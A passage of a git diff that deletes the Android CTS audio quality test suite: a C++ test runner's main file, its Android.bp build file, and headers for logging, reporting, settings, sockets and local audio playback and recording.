- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-#include <getopt.h>
-#include <stdio.h>
-
-#include <utils/String8.h>
-
-#include <memory>
-
-#include "GenericFactory.h"
-#include "Log.h"
-#include "Report.h"
-#include "Settings.h"
-#include "task/TaskGeneric.h"
-#include "task/ModelBuilder.h"
-
-// For flushing report and log before exiting
-class CleanupStatics {
-public:
-
-    CleanupStatics() {
-
-    }
-    ~CleanupStatics() {
-        Log::Finalize();
-        Report::Finalize();
-        // create zip file after log and report files are closed.
-        android::String8 reportDirPath =
-                Settings::Instance()->getSetting(Settings::EREPORT_FILE).getPathDir();
-        android::String8 zipFilename = reportDirPath.getPathLeaf();
-        android::String8 command = android::String8::format("cd %s;zip -r ../%s.zip *",
-                reportDirPath.string(), zipFilename.string());
-        fprintf(stderr, "\n\nexecuting %s\n", command.string());
-        if (system(command.string()) == -1) {
-            fprintf(stderr, "cannot create zip file with command %s\n", command.string());
-        }
-        Settings::Finalize();
-    }
-};
-
-void usage(char* bin)
-{
-    fprintf(stderr, "%s [-l log_level][-s serial] test_xml\n", bin);
-}
-int main(int argc, char *argv[])
-{
-    if (argc < 2) {
-        fprintf(stderr, "%s [-l log_level][-s serial] test_xml\n", argv[0]);
-        return 1;
-    }
-    int logLevel = Log::ELogW;
-    char* serial = NULL;
-    int opt;
-    while ((opt = getopt(argc, argv, "l:s:")) != -1) {
-        switch (opt) {
-        case 'l':
-            logLevel = atoi(optarg);
-            break;
-        case 's':
-            serial = optarg;
-            break;
-        default:
-            usage(argv[0]);
-            return 1;
-        }
-    }
-    if (optind >= argc) {
-        usage(argv[0]);
-        return 1;
-    }
-
-    android::String8 xmlFile(argv[optind]);
-
-    android::String8 dirName;
-    if (!FileUtil::prepare(dirName)) {
-        fprintf(stderr, "cannot prepare report dir");
-        return 1;
-    }
-
-    std::unique_ptr<CleanupStatics> staticStuffs(new CleanupStatics());
-    if (Settings::Instance() == NULL) {
-        fprintf(stderr, "caanot create Settings");
-        return 1;
-    }
-    if (serial != NULL) {
-        android::String8 strSerial(serial);
-        Settings::Instance()->addSetting(Settings::EADB, strSerial);
-    }
-    if (Log::Instance(dirName.string()) == NULL) {
-        fprintf(stderr, "cannot create Log");
-        return 1;
-    }
-    Log::Instance()->setLogLevel((Log::LogLevel)logLevel);
-    // Log can be used from here
-    if (Report::Instance(dirName.string()) == NULL) {
-
-        LOGE("cannot create log");
-        return 1;
-    }
-
-    GenericFactory factory;
-    ClientInterface* client = factory.createClientInterface();
-    if (client == NULL) {
-        fprintf(stderr, "cannot create ClientInterface");
-        return 1;
-    }
-    if (!client->init(Settings::Instance()->getSetting(Settings::EADB))) {
-        fprintf(stderr, "cannot init ClientInterface");
-        return 1;
-    }
-    android::String8 deviceInfo;
-    if (!client->getAudio()->getDeviceInfo(deviceInfo)) {
-        fprintf(stderr, "cannot get device info");
-        return 1;
-    }
-    delete client; // release so that it can be used in tests
-    Settings::Instance()->addSetting(Settings::EDEVICE_INFO, deviceInfo);
-
-    ModelBuilder modelBuilder;
-    std::unique_ptr<TaskGeneric> topTask(modelBuilder.parseTestDescriptionXml(xmlFile));
-    if (topTask.get() == NULL) {
-        LOGE("Parsing of %x failed", xmlFile.string());
-        return 1;
-    }
-    Settings::Instance()->addSetting(Settings::ETEST_XML, xmlFile);
-    topTask->run();
-
-    return 0;
-}
-
diff --git a/suite/audio_quality/lib/Android.bp b/suite/audio_quality/lib/Android.bp
deleted file mode 100644
index b07e628..0000000
--- a/suite/audio_quality/lib/Android.bp
+++ /dev/null
@@ -1,53 +0,0 @@
-//
-// Copyright (C) 2012 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-//
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-cc_library_host_static {
-    name: "libcts_audio_quality",
-    srcs: ["**/*.cpp"],
-    export_include_dirs: [
-        "include",
-        "src",
-    ],
-    static_libs: [
-        "libbase",
-        "libutils",
-        "liblog",
-        "libtinyalsa",
-        "libcutils",
-        "libtinyxml2",
-    ],
-    cflags: [
-        "-Wall",
-        "-Werror",
-        "-g",
-        "-fno-exceptions",
-        "-Wno-unused-parameter",
-        "-Wno-unused-variable",
-        "-Wno-format",
-    ],
-    ldflags: [
-        "-fno-exceptions",
-    ],
-    target: {
-        darwin: {
-            enabled: false,
-        },
-    },
-}
diff --git a/suite/audio_quality/lib/include/BuiltinProcessing.h b/suite/audio_quality/lib/include/BuiltinProcessing.h
deleted file mode 100644
index 6fd1b96..0000000
--- a/suite/audio_quality/lib/include/BuiltinProcessing.h
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-
-#ifndef CTSAUDIO_BUILTINPROCESSING_H
-#define CTSAUDIO_BUILTINPROCESSING_H
-
-#include "task/TaskGeneric.h"
-
-class BuiltinProcessing {
-public:
-    BuiltinProcessing();
-
-    typedef TaskGeneric::ExecutionResult \
-            (BuiltinProcessing::*BuiltinProcessingMemberFn)(void**, void**);
-    struct BuiltinInfo {
-        const char* mName;
-        BuiltinProcessingMemberFn mFunction;
-        size_t mNInput;
-        const bool* mInputTypes; // true: android::sp<Buffer>*, false: Value*
-        size_t mNOutput;
-        const bool* mOutputTypes;
-    };
-
-    static const int N_BUILTIN_FNS = 1;
-    static BuiltinInfo BUINTIN_FN_TABLE[N_BUILTIN_FNS];
-    /**
-     * calculate RMS of given data. The rms is passed to moving average filter
-     * And the averaged RMS should be within passMin to passMax to pass the test.
-     * Otherwise, it will just return EResultOK.
-     * Input: android::sp<Buffer> data, int64_t passMin, int64_t passMax
-     * Output:int64_t rms
-     */
-    TaskGeneric::ExecutionResult rms_mva(void** inputs, void** outputs);
-private:
-    static const int RMS_CONTINUOUS_PASSES = 5;
-    int mRMSPasses;
-};
-
-
-#endif // CTSAUDIO_BUILTINPROCESSING_H
diff --git a/suite/audio_quality/lib/include/ClientInterface.h b/suite/audio_quality/lib/include/ClientInterface.h
deleted file mode 100644
index 32de0e9..0000000
--- a/suite/audio_quality/lib/include/ClientInterface.h
+++ /dev/null
@@ -1,42 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#ifndef CTSAUDIO_CLIENTINTERFACE_H
-#define CTSAUDIO_CLIENTINTERFACE_H
-
-#include <utils/String8.h>
-#include <utils/StrongPointer.h>
-
-#include "audio/RemoteAudio.h"
-#include "ClientSocket.h"
-
-class ClientInterface {
-public:
-    virtual ~ClientInterface() {};
-    /**
-     * launch client and perform initial connection
-     * @param param parameter for connection. It will be device serial number or zero length string
-     */
-    virtual bool init(const android::String8& param) = 0;
-
-    virtual ClientSocket& getSocket()  = 0;
-
-    virtual android::sp<RemoteAudio>& getAudio() = 0;
-
-};
-
-
-#endif // CTSAUDIO_CLIENTINTERFACE_H
diff --git a/suite/audio_quality/lib/include/ClientSocket.h b/suite/audio_quality/lib/include/ClientSocket.h
deleted file mode 100644
index 49328bd..0000000
--- a/suite/audio_quality/lib/include/ClientSocket.h
+++ /dev/null
@@ -1,41 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-
-#ifndef CTASUDIO_CLIENTSOCKET_H
-#define CTASUDIO_CLIENTSOCKET_H
-
-class ClientSocket {
-public:
-    ClientSocket();
-    virtual ~ClientSocket();
-    virtual bool init(const char* hostIp, int port, bool enableTimeout = false);
-    /**
-     * @param timeoutInMs 0 means no time-out
-     */
-    virtual bool readData(char* data, int len, int timeoutInMs = 0);
-    virtual bool sendData(const char* data, int len);
-    int getFD() {
-        return mSocket;
-    }
-    virtual void release();
-protected:
-    int mSocket;
-    bool mTimeoutEnabled;
-};
-
-
-#endif // CTASUDIO_CLIENTSOCKET_H
diff --git a/suite/audio_quality/lib/include/FileUtil.h b/suite/audio_quality/lib/include/FileUtil.h
deleted file mode 100644
index df10c54..0000000
--- a/suite/audio_quality/lib/include/FileUtil.h
+++ /dev/null
@@ -1,66 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-
-#ifndef CTSAUDIO_FILEUTIL_H
-#define CTSAUDIO_FILEUTIL_H
-
-#include <stdarg.h>
-
-#include <utils/String8.h>
-#include <utils/threads.h>
-#include <iostream>
-#include <fstream>
-
-/**
- * Class to write to file and stdout at the same time.
- *
- */
-class FileUtil {
-public:
-    /**
-     * create log / report dir
-     * @param dirPath returns path of created dir
-     */
-    static bool prepare(android::String8& dirPath);
-
-protected:
-    FileUtil();
-    virtual ~FileUtil();
-
-    /**
-     * if fileName is NULL, only stdout output will be supproted
-     */
-    virtual bool init(const char* fileName);
-
-    virtual bool doPrintf(const char* fmt, ...);
-    /// fileOnly log only to file
-    /// loglevel 0 .., -1 means no log level.
-    virtual bool doVprintf(bool fileOnly, int loglevel, const char *fmt, va_list ap);
-
-private:
-    // store dirPath to prevent creating multiple times
-    static android::String8 mDirPath;
-    std::ofstream mFile;
-    static const int DEFAULT_BUFFER_SIZE = 1024;
-    // buffer for printf. one line longer than this will be truncated.
-    char* mBuffer;
-    int mBufferSize;
-    android::Mutex mWriteLock;
-};
-
-
-#endif // CTSAUDIO_FILEUTIL_H
diff --git a/suite/audio_quality/lib/include/GenericFactory.h b/suite/audio_quality/lib/include/GenericFactory.h
deleted file mode 100644
index 9dc9c02..0000000
--- a/suite/audio_quality/lib/include/GenericFactory.h
+++ /dev/null
@@ -1,35 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#ifndef CTSAUDIO_GENERIC_FACTORY_H
-#define CTSAUDIO_GENERIC_FACTORY_H
-
-#include "task/TaskGeneric.h"
-#include "ClientInterface.h"
-
-
-/**
- * Factory methods for all abstract classes
- */
-class GenericFactory {
-public:
-    virtual ~GenericFactory();
-    virtual ClientInterface* createClientInterface();
-    virtual TaskGeneric* createTask(TaskGeneric::TaskType type);
-};
-
-
-#endif // CTSAUDIO_GENERIC_FACTORY_H
diff --git a/suite/audio_quality/lib/include/Log.h b/suite/audio_quality/lib/include/Log.h
deleted file mode 100644
index b33c21f..0000000
--- a/suite/audio_quality/lib/include/Log.h
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#ifndef CTSAUDIO_LOG_H
-#define CTSAUDIO_LOG_H
-
-#include <stdio.h>
-#include <iostream>
-#include <fstream>
-
-#include "FileUtil.h"
-
-class Log: public FileUtil {
-public:
-    enum LogLevel {
-        ELogV = 0,
-        ELogD = 1,
-        ELogI = 2,
-        ELogW = 3,
-        ELogE = 4
-    };
-
-    static Log* Instance(const char* dirName = NULL);
-    static void Finalize();
-
-
-    void printf(LogLevel level, const char* fmt, ...);
-    void setLogLevel(LogLevel level);
-    LogLevel getLogLevel() {
-        return mLogLevel;
-    };
-private:
-    Log();
-    virtual ~Log();
-    virtual bool init(const char* dirName);
-
-private:
-    static Log* mInstance;
-    LogLevel mLogLevel;
-};
-
-#define LOGE(x...) do { Log::Instance()->printf(Log::ELogE, x); \
-    Log::Instance()->printf(Log::ELogE, "  file %s line %d", __FILE__, __LINE__); } while(0)
-#define LOGW(x...) do { Log::Instance()->printf(Log::ELogW, x); } while(0)
-#define LOGI(x...) do { Log::Instance()->printf(Log::ELogI, x); } while(0)
-#define LOGD(x...) do { Log::Instance()->printf(Log::ELogD, x); } while(0)
-#define LOGV(x...) do { Log::Instance()->printf(Log::ELogV, x); } while(0)
-
-#define MSG(x...) do { Log::Instance()->printf(Log::ELogE, x); } while(0)
-
-#define ASSERT(cond) if(!(cond)) {  Log::Instance()->printf(Log::ELogE, \
-        "assertion failed %s %d", __FILE__, __LINE__); \
-    Log::Finalize(); \
-    abort(); };
-
-#endif // CTSAUDIO_LOG_H
diff --git a/suite/audio_quality/lib/include/Report.h b/suite/audio_quality/lib/include/Report.h
deleted file mode 100644
index e10899f..0000000
--- a/suite/audio_quality/lib/include/Report.h
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#ifndef CTSAUDIO_REPORT_H
-#define CTSAUDIO_REPORT_H
-
-#include <list>
-#include <map>
-
-#include <utils/String8.h>
-#include "FileUtil.h"
-
-class TaskCase;
-/**
- * Class to generate report
- */
-class Report: public FileUtil {
-public:
-    /**
-     * returns static instance of Report
-     * report without dir name, for the 1st call, will only print to stdout.
-     * This mode is necessary to prevent creating tons of reports during unit testing
-     */
-    static Report* Instance(const char* dirName = NULL);
-    // should be called before finishing to flush the report to file system
-    static void Finalize();
-
-    void addCasePassed(const TaskCase* task);
-    void addCaseFailed(const TaskCase* task);
-
-
-private:
-    Report();
-    ~Report();
-    bool init(const char* dirName);
-    void writeReport();
-    void printf(const char* fmt, ...);
-    typedef std::pair<android::String8, android::String8> StringPair;
-    void writeResult(std::list<StringPair>::const_iterator begin,
-            std::list<StringPair>::const_iterator end, bool passed);
-
-private:
-    static Report* mInstance;
-    std::list<StringPair> mPassedCases;
-    std::list<StringPair> mFailedCases;
-};
-
-
-#endif // CTSAUDIO_REPORT_H
diff --git a/suite/audio_quality/lib/include/Semaphore.h b/suite/audio_quality/lib/include/Semaphore.h
deleted file mode 100644
index c4c3e88..0000000
--- a/suite/audio_quality/lib/include/Semaphore.h
+++ /dev/null
@@ -1,48 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-
-#ifndef CTSAUDIO_SEMAPHORE_H
-#define CTSAUDIO_SEMAPHORE_H
-
-#include <semaphore.h>
-
-#include <Log.h>
-
-/**
- * Simple semaphore interface for synchronization between client and server
- */
-class Semaphore {
-public:
-    explicit Semaphore(int count = 0);
-
-    ~Semaphore();
-
-    /// down semaphore if it is already positive.
-    void tryWait();
-
-    bool wait();
-
-    bool timedWait(int timeInMSec);
-
-    void post();
-
-private:
-    sem_t mSem;
-};
-
-
-#endif // CTSAUDIO_SEMAPHORE_H
diff --git a/suite/audio_quality/lib/include/Settings.h b/suite/audio_quality/lib/include/Settings.h
deleted file mode 100644
index 6404769..0000000
--- a/suite/audio_quality/lib/include/Settings.h
+++ /dev/null
@@ -1,43 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-
-#ifndef CTSAUDIO_SETTINGS_H
-#define CTSAUDIO_SETTINGS_H
-
-#include <utils/String8.h>
-
-class Settings {
-public:
-    static Settings* Instance();
-    static void Finalize();
-    enum SettingType {
-        EADB            = 0, // adb device serial number
-        EREPORT_TIME    = 1,
-        EREPORT_FILE    = 2,
-        EDEVICE_INFO    = 3,
-        ETEST_XML       = 4, // name of test description xml
-        EMAX_SETTINGS   = 4  // not real setting
-    };
-    void addSetting(SettingType type, const android::String8& setting);
-    const android::String8& getSetting(SettingType type);
-private:
-    static Settings* mInstance;
-    android::String8 mSettings[EMAX_SETTINGS + 1];
-};
-
-
-#endif // CTSAUDIO_SETTINGS_H
diff --git a/suite/audio_quality/lib/include/SignalProcessingInterface.h b/suite/audio_quality/lib/include/SignalProcessingInterface.h
deleted file mode 100644
index 202cdf9..0000000
--- a/suite/audio_quality/lib/include/SignalProcessingInterface.h
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#ifndef CTSAUDIO_SIGNALPROCESSINGINTERFACE_H
-#define CTSAUDIO_SIGNALPROCESSINGINTERFACE_H
-
-#include <utils/String8.h>
-
-#include "task/TaskGeneric.h"
-
-/**
- * Interface to Signal processing module to run signal processing script and retrieve the result
- * After construction, init() should be called before doing anything else.
- */
-class SignalProcessingInterface {
-public:
-    virtual ~SignalProcessingInterface() {};
-
-    virtual bool init(const android::String8& script) = 0;
-    /**
-     * run the script with given input / output parameters. Note that this function does not
-     * do any type check.
-     * @param functionScript function name (python script name to run for this call)
-     * @param nInputs number of inputs. This is the length of inputTypes and inputs array
-     * @param inputTypes represent types of each input.
-     *              when true: android::sp<Buffer>*, false: Value*
-     * @param inputs pointer to input. Either android::sp<Buffer>* or Value*
-     * @param nOutputs
-     * @param outputTypes
-     * @param outputs
-     */
-    virtual TaskGeneric::ExecutionResult run(const android::String8& functionScript,
-            int nInputs, bool* inputTypes, void** inputs,
-            int nOutputs, bool* outputTypes, void** outputs) = 0;
-};
-
-#endif //CTSAUDIO_SIGNALPROCESSINGINTERFACE_H
diff --git a/suite/audio_quality/lib/include/StringUtil.h b/suite/audio_quality/lib/include/StringUtil.h
deleted file mode 100644
index 7519a8e..0000000
--- a/suite/audio_quality/lib/include/StringUtil.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-
-#ifndef CTSAUDIO_STRINGUTIL_H
-#define CTSAUDIO_STRINGUTIL_H
-
-#include <utils/String8.h>
-#include <vector>
-
-/**
- * Utility class for implementing missing features from android::String8
- */
-class StringUtil {
-public:
-    /// split the given string with given delimiter and return the vector of string
-    /// it may return NULL if memory alloc fails.
-    /// If vector is not NULL, there will be at least one string
-    static std::vector<android::String8>* split(const android::String8& str, char delimiter);
-    /// This function will return zero length string if pos is invalid.
-    static android::String8 substr(const android::String8& str, size_t pos, size_t n);
-    static int compare(const android::String8& str, const char* other);
-    static bool endsWith(const android::String8& str, const char* other);
-};
-
-
-#endif // CTSAUDIO_STRINGUTIL_H
diff --git a/suite/audio_quality/lib/include/audio/AudioHardware.h b/suite/audio_quality/lib/include/audio/AudioHardware.h
deleted file mode 100644
index c505c31..0000000
--- a/suite/audio_quality/lib/include/audio/AudioHardware.h
+++ /dev/null
@@ -1,95 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#ifndef CTSAUDIO_AUDIOHARDWARE_H
-#define CTSAUDIO_AUDIOHARDWARE_H
-
-#include <utils/StrongPointer.h>
-#include <utils/RefBase.h>
-#include "Buffer.h"
-
-class TaskCase;
-/**
- * Utility class for H/W detection
- */
-class AudioHardware : virtual public android::RefBase {
-public:
-    /** audio length should be multiple of this */
-    static const int SAMPLES_PER_ONE_GO = 4096;
-
-    enum SamplingRate {
-        ESamplingRateInvald = 0,
-        ESampleRate_16000 = 16000,
-        ESampleRate_44100 = 44100
-    };
-    enum BytesPerSample {
-        E2BPS = 2
-    };
-    enum AudioMode {
-        EModeVoice = 0,
-        EModeMusic = 1
-    };
-
-    /**
-     * detect supported audio H/W
-     * @return card number of detected H/W. -1 if not found.
-     */
-    static int detectAudioHw();
-
-    /**
-     * Factory method
-     * options are : local or remote, playback or recording
-     * can return NULL(sp.get() == NULL) if H/W not found
-     */
-    static android::sp<AudioHardware> createAudioHw(bool local, bool playback,
-            TaskCase* testCase = NULL);
-
-    virtual ~AudioHardware();
-    /**
-     * prepare playback or recording
-     */
-    virtual bool prepare(SamplingRate samplingRate, int volume, int mode = EModeVoice) = 0;
-
-    /**
-     * Convenience API to pass buffer ID. The buffer can be either present in testCase
-     * or in remote device (when testCase is NULL)
-     */
-    virtual bool startPlaybackOrRecordById(const android::String8& id, TaskCase* testCase = NULL);
-
-    /**
-     *  Playback / Record with given buffer
-     *  @param buffer buffer to play / record
-     *  @param numberRepetition How many times to repeat playback / record for given buffer.
-     *         For record, it does not have much meaning as the last recording will always
-     *         override.
-     */
-    virtual bool startPlaybackOrRecord(android::sp<Buffer>& buffer,
-            int numberRepetition = 1) = 0;
-    /**
-     * Wait for the playback / recording to complete. return true when successfully finished.
-     * Calling waitForCompletion after calling stopPlaybackOrRecord will lead into blocking
-     * the calling thread for some time.
-     */
-    virtual bool waitForCompletion() = 0;
-    /// stops the on-going action. The active task can be canceled.
-    virtual void stopPlaybackOrRecord() = 0;
-
-protected:
-    static int mHwId;
-};
-
-
-#endif // CTSAUDIO_AUDIOHARDWARE_H
diff --git a/suite/audio_quality/lib/include/audio/AudioLocal.h b/suite/audio_quality/lib/include/audio/AudioLocal.h
deleted file mode 100644
index a263528..0000000
--- a/suite/audio_quality/lib/include/audio/AudioLocal.h
+++ /dev/null
@@ -1,97 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-
-#ifndef CTSAUDIO_AUDIOLOCAL_H
-#define CTSAUDIO_AUDIOLOCAL_H
-
-#include <utils/StrongPointer.h>
-#include <utils/threads.h>
-
-#include <Semaphore.h>
-
-#include "AudioHardware.h"
-
-class Buffer;
-
-/**
- * Basic API for playback and record
- */
-class AudioLocal: public android::Thread, public AudioHardware {
-public:
-
-    virtual bool prepare(AudioHardware::SamplingRate samplingRate, int gain,
-            int mode = AudioHardware::EModeVoice);
-    virtual bool startPlaybackOrRecord(android::sp<Buffer>& buffer, int numberRepetition = 1);
-    virtual bool waitForCompletion();
-    virtual void stopPlaybackOrRecord();
-
-    virtual ~AudioLocal();
-protected:
-    AudioLocal();
-
-    virtual bool doPrepare(AudioHardware::SamplingRate, int samplesInOneGo) = 0;
-    virtual bool doPlaybackOrRecord(android::sp<Buffer>& buffer) = 0;
-    virtual void doStop() = 0;
-    virtual void releaseHw() {};
-
-private:
-
-
-    bool threadLoop();
-
-    enum AudioCommand{
-        ECmNone = 0,
-        ECmInitialize,
-        ECmRun,
-        ECmStop,
-        ECmThreadStop // terminate the thread
-    };
-
-    bool issueCommandAndWaitForCompletion(AudioCommand command);
-
-protected:
-
-private:
-    // only one command at a time.
-    // Thus, all parameters can be stored here.
-    AudioHardware::SamplingRate mSamplingRate;
-
-    android::sp<Buffer> mBuffer;
-    int mNumberRepetition;
-    int mCurrentRepeat;
-
-    enum AudioState{
-        EStNone,
-        EStCreated,
-        EStInitialized,
-        EStRunning  // playing or recording
-    };
-    volatile AudioState mState;
-    volatile AudioCommand mCurrentCommand;
-
-
-    static const int COMMAND_WAIT_TIME_MSEC = 4000;
-
-    Semaphore mClientCommandWait;
-    Semaphore mClientCompletionWait;
-    Semaphore mAudioThreadWait;
-
-    bool mCommandResult;
-    bool mCompletionResult;
-};
-
-#endif // CTSAUDIO_AUDIOLOCAL_H
diff --git a/suite/audio_quality/lib/include/audio/AudioPlaybackLocal.h b/suite/audio_quality/lib/include/audio/AudioPlaybackLocal.h
deleted file mode 100644
index fcfb270..0000000
--- a/suite/audio_quality/lib/include/audio/AudioPlaybackLocal.h
+++ /dev/null
@@ -1,48 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-
-#ifndef CTSAUDIO_AUDIOPLAYBACKLOCAL_H
-#define CTSAUDIO_AUDIOPLAYBACKLOCAL_H
-
-#include <utils/String8.h>
-
-#include <tinyalsa/asoundlib.h>
-
-#include "AudioLocal.h"
-
-
-class AudioPlaybackLocal: public AudioLocal {
-public:
-    explicit AudioPlaybackLocal(int hwId);
-    virtual ~AudioPlaybackLocal();
-protected:
-    bool doPrepare(AudioHardware::SamplingRate, int samplesInOneGo);
-    bool doPlaybackOrRecord(android::sp<Buffer>& buffer);
-    void doStop();
-    void releaseHw();
-
-private:
-    int mHwId;
-    struct pcm* mPcmHandle;
-    // unit playback samples
-    int mSamples;
-    // unit playback sizes
-    int mSizes;
-};
-
-
-#endif // CTSAUDIO_AUDIOPLAYBACKLOCAL_H
diff --git a/suite/audio_quality/lib/include/audio/AudioProtocol.h b/suite/audio_quality/lib/include/audio/AudioProtocol.h
